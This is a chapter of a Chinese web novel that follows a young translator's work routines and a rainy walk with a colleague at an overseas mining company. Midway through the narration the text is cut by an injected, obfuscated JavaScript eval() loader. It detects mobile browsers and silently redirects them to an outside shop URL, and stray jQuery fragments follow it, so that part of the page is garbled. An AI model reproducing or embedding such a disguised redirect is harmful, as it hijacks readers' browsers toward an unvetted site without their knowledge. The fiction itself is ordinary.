也许是陈纵最近的存在感太强了,胡侃侃居然开始“夜深忽梦少年事”。
她作为职场萌新的悠闲摸鱼时光,是什么时候结束的呢?
大概是行政部“真·顶头上司”郑主任杀回来之后。
胡侃侃对郑主任的初印象是“德高望重”,当然这不是指年龄,而是说地位。
公司里很多人提到郑主任会称陈老师,她是真正陪KOMILU建设起来的“元老”之一,在这里任职已经七年之久,很多翻译,包括陈纵都是她一手“调教”出来。
一年前郑主任回国生育,孩子差不多一岁后,又杀回了职场。
她对行政部的新增劳动力很满意,或者说,即使不满意也相信自己能上手“调教”到满意。
胡侃侃和顾雨浓开始跟着郑主任东奔西跑,去移民局,矿业厅,检察院,被提点着快速摸清公司的外联关系网。
而郑主任回归的同时,办公室的琴姐辞职了。后来想想,那大概也是胡侃侃第一次近距离感受女性在家庭和职场之间的选择。
琴姐很年轻,日常看着像刚毕业的大学生一样,但宽松的背带裤很快就遮不住逐隆起的肚子。在昆瓦尔湿润的雨季,她写好了工作交接书,辞职回了国。
琴姐的丈夫在下面厂区工作,每到周末,她会拜托陈纵安排车送她去丈夫见面。不过这次终于不是她下去了,他们这批回国的员工要从办公区出发,琴姐的丈夫也上来相送。
他还没到休假的时候,所以不能回国,其实琴姐也还没轮到休假,不过她是辞职。
拥抱,叮嘱,挥手,送别的流程总是大同小异。食堂大师傅一个劲儿往车上塞吃的,肉夹馍,蛋糕,酥饼……生怕他们路上饿着。
加兰多尔是小城市,没有国际航班,要到圣德罗才能直飞埃塞俄比亚转机回国,而从这里到圣德罗路上至少要颠几个小时,大师傅的担忧是对的。
琴姐留下了七八页的工作交接书,大概分为内业和外联两部分,郑主任决定让胡侃侃和顾雨浓分别负责,三个月后再轮换。
胡侃侃分到了内页的大头,公司的信函、翻译、供应商、外交礼品等都归入她麾下,但这不代表她就不参与外联任务,毕竟公司这么大,需要保持关系的第三方实在太多。
郑主任还给她俩布置了一项大工程,把公司过去五年往来信函整理建库,要详细到涵号,主题,发函方,日期,以及我方回函。
胡侃侃和顾雨浓去隔壁办公室找刘姐调了所有档案,一箱一箱往办公室搬。拆开后发现这些纸质函件确实够乱,都没有按日期排好,东一封西一封。
这大概也是草台班逐渐壮大的真实写照了,公司事务越来越多,很多时候,面对政府检查,一下就要调过往四五年的记录,信函不建库确实很麻烦。
只是苦了胡侃侃和顾雨浓,白天干完业务晚上还来加班,放一首新裤子的《你要跳舞吗》,然后埋头一封一封信函翻到手软。
大部分是税单,检查,会议邀请,也有一些有意思的,比某组织来求一笔赞助费,周围村庄求赞助碎石沙子,附近变电站出故障请求支援,某玉米面供应商毛遂自荐等等。
翻到这种胡侃侃和顾雨浓就一起蛐蛐一下。
也许下一秒,也许要几天后,两人又会从一堆信函中翻到回函,工程剩下的碎石沙子运往了村落,机电保障部的人带着工具去了变电站,而玉米面供应商……依旧□□的还是原供应商。
赶上比较重要的外联事务,郑主任就会把胡侃侃和顾雨浓都提溜上,见完还要写统计表,把商谈的内容归档。
今天是取缔公司周围非法收矿点,明天是社区建设书,期间还夹杂着省社事部长要给公司推荐玉米面供应商。
这种拐着弯收好处的事,郑主任也回应得滴水不漏:
“公司今年的玉米面供应合同已经签署了,但社区和学校的玉米粉供应业务可以考虑您的推荐,我们的社区建设书正在省长处审核,一旦获批就可以动工了。”
公司出于企业形象,长远发展考虑,要给周边社区修基建,当然也是遵守政府的规定,但这建设规划却在各级部门一卡再卡,听说隔壁几个矿业公司情况也都差不多,恼火得狠。
社事部长微笑点头,亲切告别。
回去写外联日志,胡侃侃满屏“外交黑话”,推荐供应商这种不太上台面的事也能“粉饰太平”,其他关于收矿点,社区事务的建设性会谈,更是写出了新闻稿的气势。
“交作业”前胡侃侃和顾雨浓互通有无,生怕自己听力水平不行落下些什么。顾雨浓看看胡侃侃的行文又看看自己的,无声呐喊“不要内卷文笔啊”,然后一边抄一边改。
不过很快她就因祸得福,胡侃侃的枯燥官方的“文风”不仅郑主任看上了,齐总也看上了,顺手就下达了任务,让她参加公司大会,然后写会议纪要。
一开始胡侃侃并不放在心上,她很对得起她的名字,最会胡扯了,虽然是个I人不怎么爱开口,但动笔不在话下。
结果第一次参会就傻眼了。
月度经营会议就是一堆领导层听各个部门汇报本月情况,有中文,法文,还有带口音的中文。
一连串采矿的专业词汇带着平翘舌混淆的音色轰炸而来,什么球磨,堆浸,浮选……有时全称有时缩写,轰得胡侃侃大脑一片空白。
还好提前打开了录音。
会议开了很久,十几个部门一一汇报,结束时已经过了下班时间,胡侃侃浑浑噩噩回到办公室,坐在工位上发呆。
郑主任喊她去吃饭,她胡乱地回应说乔周已经帮她打饭了,一会儿就回去吃。
其实她也不知道乔周有没有给她打,刚才开会她只忙着“破译”和记录了,哪顾得上其他。
胡侃侃不是一个能“容事”的人,或者说,她没有一颗强大的心脏让她在琐事缠身的时候还能按时打饭,她无法做到“明天的事明天再说”。
这样的人,最容易把工作生活混淆到没有分界线,又何况是在这种狭小的,从床位到工位只用走三分钟的矿山?
她不想回去吃饭,至少得先想一个能写出会议纪要的办法才能挪窝。胡侃侃把录音导入转换软件,滑动浏览着漫长的文字结果,那些会上听不懂的词句,转文字后依旧是无法理解的乱码。
她只能挑挑拣拣,写自己能理解的东西。
另一边乔周也确实给胡侃侃打饭了。自从她们几个的工作步入正轨,胡侃侃和顾雨浓因为外联时不时就错过饭点,乔周就肩负了两个人的打饭业务,后来熟悉到来办公室瞧一眼工位上没人,她就自觉地拎上三个饭盒去食堂。
乔周在宿舍左等右等不见人回来,打个电话才知道胡侃侃还在加班,索性拎了饭盒过去,又抓上一把零食。
“再忙也得吃饭啊,不行你吃点饼干垫吧垫吧。”
胡侃侃胡乱吃了几口,边吃边跟满屏“加密文字”战斗。
乔周看外面似乎想下雨,转头问道:“你带伞了吗?”
“办公室有一把。”
“行,那我先回去了。”
“记得把咱俩衣服收一下。”
衣服还是胡侃侃白天偷偷溜回来晾的,果然摸鱼就要付出加班的代价吗?乔周摇头叹气地走了。
今晚的办公室很是冷清,只有八点多的时候陈纵从外冒雨回来了,他看见胡侃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749737|209394||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
侃还诧异了一下,“在加班?”
胡侃侃“嗯”了一声。
“你们什么工作要熬这么晚?”陈纵的晚是因为在外面跟省议会那帮人扯皮,回来路上堵车,还要惦记着赶紧把外联日志给写了。
“写会议纪要。”胡侃侃惜字如金。
陈纵挑了挑眉。
说实话,会议纪要在KOMILU实在是个“人厌狗嫌“的活,换了多少任翻译写都告饶,公司后来甚至专门聘了个人,结果写出来的东西领导还是不满意。
“我不理解这东西为什么我写,行政部不是有专门的文秘吗?”胡侃冷不丁冒出一句。
陈纵总不能直接说文秘的文笔不行,公司都考虑给他调走了,只能干笑两声,“翻译都写过,我也干过这活,都是这么过来的。”
窗外雨势渐大。
陈纵是个能“容事”人,他可以毫无负担地把事情分为“拖到明天也行的”,以及“今天不做地球就会爆炸的”。
比如外联日志,他今天不写可能明天就记不清省议会那些人生拉硬拽,缺乏逻辑的托词了。
其他的,倒是不急于一时。
可他没走。
关了外联日志文档,又点开拆迁赔款的表格,追踪一下赔款发票在OA上的审核进度,翻译一下分配到他手里的公司收函。
翻译这活现在也是胡侃侃负责,每天在办公室轮流“大点兵”,把收到的待翻文件按人头平均分配。
陈纵点开对话框就是一个扫描文件和一句礼貌语:陈科,麻烦翻译一下这封信函谢谢。
今天的雨下得久,九点多还没停。陈纵看了眼窗外,又看向奋笔疾书的胡侃侃。
“还不回去吗?”
胡侃侃头都不抬:“还没写完。”
陈纵关了电脑,走到她这边,“会议纪要应该不是明天就要吧,办公区十点多会锁门,到时候你就得打电话给机电部的人来开门了。”
胡侃侃愣了一下。
I人不喜欢打电话。
办公室门后只剩一把伞了,陈纵撑起来,和胡侃侃一齐走入雨里。
昆瓦尔的雨季气势汹汹,这场雨下得天空倒灌似的,砸落地面又嘭起的水花很快把裤腿打湿,斜风又把雨点往人脸上送,陈纵无奈地把淋湿的头发向后撸,露出额头。
伞不算小,但遮两个人还是勉强了。陈纵把大半伞面倾向胡侃侃,狂风吹击,伞面发出嘣嘣的震响。
两人不得贴得很近,才能躲在那一片小小的遮盖之下。陈纵换了左手撑伞,右手虚揽着胡侃侃的肩,说先送她回去。
斜打在耳畔往脖子里灌的雨水被陈纵的手臂隔绝了,胡侃侃努力跟上他的步伐,跑着跑着肩上的力度渐渐由虚变实,热度抵着浸湿的皮肤传导而来。
她闻到了淡淡的洗衣液味道,和她的一样。
公司统一批发的生活用品,能不一样吗?
陈纵感觉胡侃侃往自己这边靠了靠,又好像没有,雨声嘈杂,步伐凌乱,他也分辨不出。
终于到了女生宿舍的屋檐下,胡侃侃跳出两人紧贴的方寸之地,回头看着陈纵。
他比她狼狈很多,后背完全打湿了,胡乱向后捋的头发垂下几缕搭在眉骨上,水珠顺着发梢往下滴,在睫毛上悬着颤了颤,衬的一双眼黑亮。
雨势不减,豆大的雨点砸在伞面上,发心跳般的声响。
怦——
怦——
怦——
……
胡闹撞门的声响终于吵醒了胡侃侃,狗子一边用爪子扒拉门缝一边哼唧。陈纵走过来揉了揉它的头,抬手敲门:
“胡侃侃,起床吃早餐了。”